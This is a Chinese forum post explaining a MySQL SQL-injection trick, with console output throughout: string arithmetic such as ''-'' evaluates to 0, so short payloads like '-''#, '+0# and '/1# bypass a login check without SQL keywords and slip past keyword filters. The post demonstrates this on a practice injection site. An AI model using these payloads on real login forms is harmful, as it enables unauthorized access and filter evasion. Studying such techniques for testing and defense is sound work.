找回密码
 立即注册
查看: 2626|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。
5 J# Y5 s9 g! j6 L. B  i. h有以下表结构:
; b$ D! w7 ]  p0 Z+ u& E+ d6 H
mysql> desc admin;, e' v% t; p/ M+ ~4 E" p  C8 Z" K
+----------+--------------+------+-----+---------+----------------+
6 ~9 G0 O8 r8 {( ^| Field    | Type         | Null | Key | Default | Extra          |
) h. [+ D. q, F  s6 C" Q0 w+----------+--------------+------+-----+---------+----------------+
% B9 O& I" I$ [  q/ R| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |, e3 M7 \6 U* B5 d7 i. W  ^$ U& j8 g
| name     | char(32)     | NO   | UNI | NULL    |                |
! l! H0 {% O# B: D- M# D7 h| password | char(32)     | NO   | UNI | NULL    |                |
' m" A9 d, b" K- L+ Z- H' x3 G3 B+----------+--------------+------+-----+---------+----------------+
3 ?2 K1 L2 Y2 C  \3 rows in set (0.00 sec)) T0 \+ p' d' H( u3 D0 C3 |8 c
执行select * from admin;,成功返回所有记录内容。: d5 I5 r5 V9 A1 f5 A' Z
+ c  p2 z4 v- J4 G' V: \7 W( _

( C2 D7 m' q: ~  d7 E2 ?# M+----+--------+----------------------------------+
# S8 T6 x6 B, y" c8 U) q8 h% f| id | name   | password                         |
, M" g( }) y, X+----+--------+----------------------------------+
$ M  ?8 s' `, }2 ~. Q7 r' ?|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
! J2 e( c4 o* ]( i. V! v|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |* S! z; v6 T. j  Z; y4 x
|  4 | n00b   | ff80e8508d39047460921792273533a4 |+ H+ }# h7 J$ M: \( `& Y
+----+--------+----------------------------------+
; e8 k/ u0 u: m3 rows in set (0.00 sec)
0 Y- g9 Q3 _$ m执行select * from admin where name=”;,没有匹配到任何记录。
. |6 B; [2 y% \& y' `; m2 J% M' u, ^
mysql> select * from admin where name = '';
$ _! w% E. F9 z7 D# D$ @7 N6 eEmpty set (0.00 sec)
7 s1 R/ {* T" q7 e5 T8 b那么我们来执行select * from admin where name = ”-”;) D; u- H' F2 O& m( ]( D3 y

1 Z' T% W: J- y0 I8 p8 I
, D. h1 z1 ?" B5 N- d* Y+----+--------+----------------------------------+
# i/ [! j! [. m# h| id | name   | password                         |1 J* ^: Y) c& l  Y# h+ {! u0 {
+----+--------+----------------------------------+
8 n( p5 }4 w3 h- u3 V: d|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |* M# S5 j3 u# Z+ [$ R
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
" f1 D" R7 _8 [|  4 | n00b   | ff80e8508d39047460921792273533a4 |0 d" v1 z6 q% ~, m2 ^# T
+----+--------+----------------------------------+
- _4 I- M# T$ Z2 {2 x9 p3 rows in set, 3 warnings (0.00 sec)
6 Y  g. H% e6 |( K. w可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
2 V; p5 ]( q6 |
7 L' ^5 x3 q* v( ymysql> show warnings;
  G' Z8 f" m( e+---------+------+------------------------------------------
$ g, n3 T2 E  H| Level   | Code | Message
# }1 @3 n' r, H" m6 Y. J+---------+------+------------------------------------------
4 T2 B* i0 D/ X0 \| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin) g% ~/ Y7 T, q7 F8 @9 @
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ A- g2 j3 k: t# I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b+ @0 A* V. C7 d- K3 H# C  j3 ]
+---------+------+------------------------------------------1 e! ^' `! ^4 ?- D/ B
3 rows in set (0.00 sec), }( ^; \4 Q+ h1 C3 Y
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
! O4 h2 S" s/ p- B4 K9 ?5 \$ A, R+ t" ~2 e' D0 f9 H/ l
mysql> select ''-'';
4 H* m% @% I# {2 y$ g2 B' S9 F: W+-------+* `. y, B) [8 d  }0 z% }0 I
| ''-'' |
* ~5 ?7 R( I: b% M4 d" y+-------+
/ |; y+ r. ?" z|     0 |
/ C) U! X8 t2 Y3 n7 Z+-------+
7 I1 c" q* _1 f0 E- M1 row in set (0.00 sec)
$ R( t* l# ~  l2 |5 U4 L$ E返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
' p  ~4 _% J& Q- H
* N3 o6 E% W; u; T! |mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
& J  c3 [* w( d6 }% N  y8 c" H6 }+-----------------------------------------------------+/ y  |! ^. ?" \8 a
| CAST((select name from admin limit 1,1) as DECIMAL) |
8 I. a- |" T: j9 ~  T' J( W) r' w+-----------------------------------------------------+* ^3 H, e5 x. f
|                                                   0 |# n% z8 ], g" y7 ?: _0 `
+-----------------------------------------------------+" V' ~) t+ H; z. Y9 {& e
1 row in set, 1 warning (0.00 sec)- u" R  q) a) W9 N! e
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
$ r5 I1 \# I' I- j# v( ]2 g0 z) E, w9 W7 _) Z
SQL注入场景: http://www.sqlzoo.net/hack/
1 n( X0 o2 Z8 z4 X3 H
1 B9 ]) k% ^! T
* x& I% m1 P# u# _; n3 X) l& f5 Y2 i5 @% o2 u  c+ m- `0 Y  E

0 m8 Z+ P' C* b2 q1 F如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
( F. f3 L5 B* C( W6 F6 L/ L3 h1 b
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
- y5 u( }- ~0 r6 q/ F
6 H% y. I. @6 Y3 A  W) S
- b/ S0 e  C4 d& X; j( e
# A1 [, d+ H  k
) P% d' K4 x8 k& {+ i; x仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 , {7 n  j1 i; @1 _+ q! \

9 f5 R" v3 ?: A% r   5 i' _; {( p2 r7 F( I+ i) p

- J3 }4 |( N+ ?/ {% D除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可5 y; F9 b) s, ^$ D
, B5 F' A4 ^: S# O6 p

% X4 k6 g$ w% ^  ~5 H' c0 pmysql> select ''/1;  l; \  L5 z/ y5 D
+------+0 t  i* q" Z# L2 t2 B5 M% D
| ''/1 |
; |+ f  J" O$ {: N8 ]. [+------+
) r7 p' {' _) W" O|    0 |
) b' w" ~' L! F+------+
- t! \% U( C/ S1 row in set (0.00 sec)4 N4 ^& g3 n, ]' j0 m' L
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  8 q" m( d# D) V6 x2 Y! M; w

7 U, @! Z" s1 F) v0 N* D2 B利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。5 w, S" K" }/ H( w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表